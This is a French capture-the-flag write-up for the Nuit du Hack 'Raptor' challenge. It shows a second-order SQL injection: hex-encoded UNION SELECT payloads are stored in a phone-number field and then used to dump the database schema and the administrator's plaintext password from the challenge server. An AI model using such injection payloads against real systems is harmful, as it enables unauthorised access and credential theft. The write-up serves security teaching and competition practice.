====== Raptor ====== Misc 400 points http://quals.nuitduhack.com/challenges/view/12 ===== Énoncé ===== Aucun énoncé, aucune précision ; seul un lien est présent : //raptor.challs.nuitduhack.com:4142// ===== Challenge ===== Connectons-nous : [plo@hyperion Misc]$ nc raptor.challs.nuitduhack.com 4142 ~ » Welcome to the Raptor/1.0 Information Exchange Server ~ » You are anonymous - Read only access ! Available commands : +----------+-----------------+-------------------------------+--------------------------------+ | Command | Required Access | Syntax | Help | +----------+-----------------+-------------------------------+--------------------------------+ | AUTH | guest | AUTH [login] [password] | Connect to an account | | LIST | user | LIST [maxrecords] | List users informations | | SEARCH | user | SEARCH [pattern] [maxresults] | Search an user | | RSHELL | admin | RSHELL | Migrate to Raptor Shell | | VERSION | guest | VERSION | Show current Raptor version | | REGISTER | guest | REGISTER | Register a new account | | HELP | guest | VERSION | Show this help menu | | RIGHTS | guest | RIGHTS | Print your current rights | | HISTORY | user | HISTORY | Show your call history | | RESET | guest | RESET | ROLLBACK ! (Reset the CTF DB.) | | QUIT | guest | QUIT | Close the connection. | +----------+-----------------+-------------------------------+--------------------------------+ guest ~ $ On se retrouve connecté au service Raptor en anonyme/guest.\\ \\ La sortie affichée semble être issue **d'une base de données** ; une requête SQL SELECT pourrait nous retourner cet affichage...\\ Raptor gère trois droits : ''guest/user/admin'' et une seule commande nécessite le droit admin : ''RSHELL''.\\ On joue avec toutes les commandes et on s'aperçoit que : guest ~ $ SEARCH % +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+ guest ~ $ SEARCH _ +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+ Toutes les entrées utilisateurs sont affichées : les caractères ''_'' et ''%'' sont des **wildcards SQL**, notamment utilisés par l'opérateur LIKE. Ca confirme la supposition du SQL derrière Raptor.\\ Une information nous saute aux yeux, l'utilisateur ''Yvon Payrir'' possède ''A'' comme numéro de téléphone !\\ Ca ne semble pas logique, tentons de créer un utilisateur : guest ~ $ REGISTER Please fill the informations below : Login : a Firstname : a Lastname : a Contact (DESK PHONE) : TEST /!\ ERROR ! INVALID DESKPHONE NUMBER ! Raté, pourtant ça doit être possible ! Persévérons et essayons "TEST" en hexadécimal : guest ~ $ REGISTER Please fill the informations below : Login : a Firstname : a Lastname : a Contact (DESK PHONE) : 0x54455354 Password : zenk Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) ! guest ~ $ SEARCH % +-----------+---------------+-----------+--------+ | FIRSTNAME | LASTNAME | DESKPHONE | RIGHTS | +-----------+---------------+-----------+--------+ | a | a | TEST | user | | Wesley | Eshmaggle | 4412 | admin | | Yvan | Delacam | 0452 | user | | Yvon | Payrir | A | user | | Zlatan | Ibrahimovitch | 5122 | user | +-----------+---------------+-----------+--------+ Bingo ! On peut injecter ce que l'on souhaite dans le champ ''DESKPHONE'' ! Bon, ne nous réjouissons pas trop vite, on en fait quoi ? Peut-on exploiter cette faiblesse pour une injection SQL ?\\ Dans les commandes à notre disposition, on a ''HISTORY'' : | HISTORY | user | HISTORY | Show your call history | Cette commande permet de lister l'historique de nos appels téléphoniques, ça tombe bien puisque c'est dans ''DESKPHONE'' qu'on peut injecter des données : a ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+------+ | USERNAME | a | | RIGHTS | user | | DESKPHONE | TEST | +-----------+------+ Après quelques tests, il s'avère qu'on a effectivement affaire à une "traditionnelle" **SQLi** où il faut encoder notre injection en hexadécimal dans le champ ''DESKPHONE'' : Login : d Firstname : d Lastname : d Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354207461626c655f736368656d612c7461626c655f6e616d652c636f6c756d6e5f6e616d652c6e756c6c2046524f4d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73 Password : zenk Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) ! d ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+-----------------------------------------------------------------------------------------+ | USERNAME | d | | RIGHTS | user | | DESKPHONE | 1 UNION SELECT table_schema,table_name,column_name,null FROM information_schema.columns | +-----------+-----------------------------------------------------------------------------------------+ - CALL HISTORY +--------------------+---------------------------------------+----------------------------------+----------+ | ID | DATE | DESTINATION | DURATION | +--------------------+---------------------------------------+----------------------------------+----------+ | information_schema | CHARACTER_SETS | CHARACTER_SET_NAME | None | | [...] | [...] | [...] | None | | x_8816665166 | users | id | None | | x_8816665166 | users | firstname | None | | x_8816665166 | users | name | None | | x_8816665166 | users | contact | None | | x_8816665166 | users | password | None | | x_8816665166 | users | login | None | | x_8816665166 | users | rights | None | +--------------------+---------------------------------------+----------------------------------+----------+ Dumpons le mot de passe de l'admin : guest ~ $ REGISTER Please fill the informations below : Login : i Firstname : i Lastname : i Contact (DESK PHONE) : 0x3120554e494f4e2053454c454354206c6f67696e2c70617373776f72642c7269676874732c6e756c6c2046524f4d207573657273205748455245207269676874733d2761646d696e27 Password : i Encrypting using 128x(ROT13) ......HAAAAAAAAX...... Password encryption done ! (Security First) ! i ~ $ HISTORY RAPTOR CALL REPORTING - CLIENT INFO : +-----------+---------------------------------------------------------------------------+ | USERNAME | i | | RIGHTS | user | | DESKPHONE | 1 UNION SELECT login,password,rights,null FROM users WHERE rights='admin' | +-----------+---------------------------------------------------------------------------+ - CALL HISTORY +-------------+------------+-------------+----------+ | ID | DATE | DESTINATION | DURATION | +-------------+------------+-------------+----------+ | w.eshmaggle | Hanlbatard | admin | None | +-------------+------------+-------------+----------+ Bingo, on a le mot de passe, on s'authentifie : guest ~ $ AUTH w.eshmaggle Hanlbatard Welcome w.eshmaggle ! w.eshmaggle ~ $ RSHELL Ok, ok good job. You are admin... The flag is : 0eb80d9c2cdee95b461cf0b70d40791f On obtient le flag et on valide l'épreuve \o/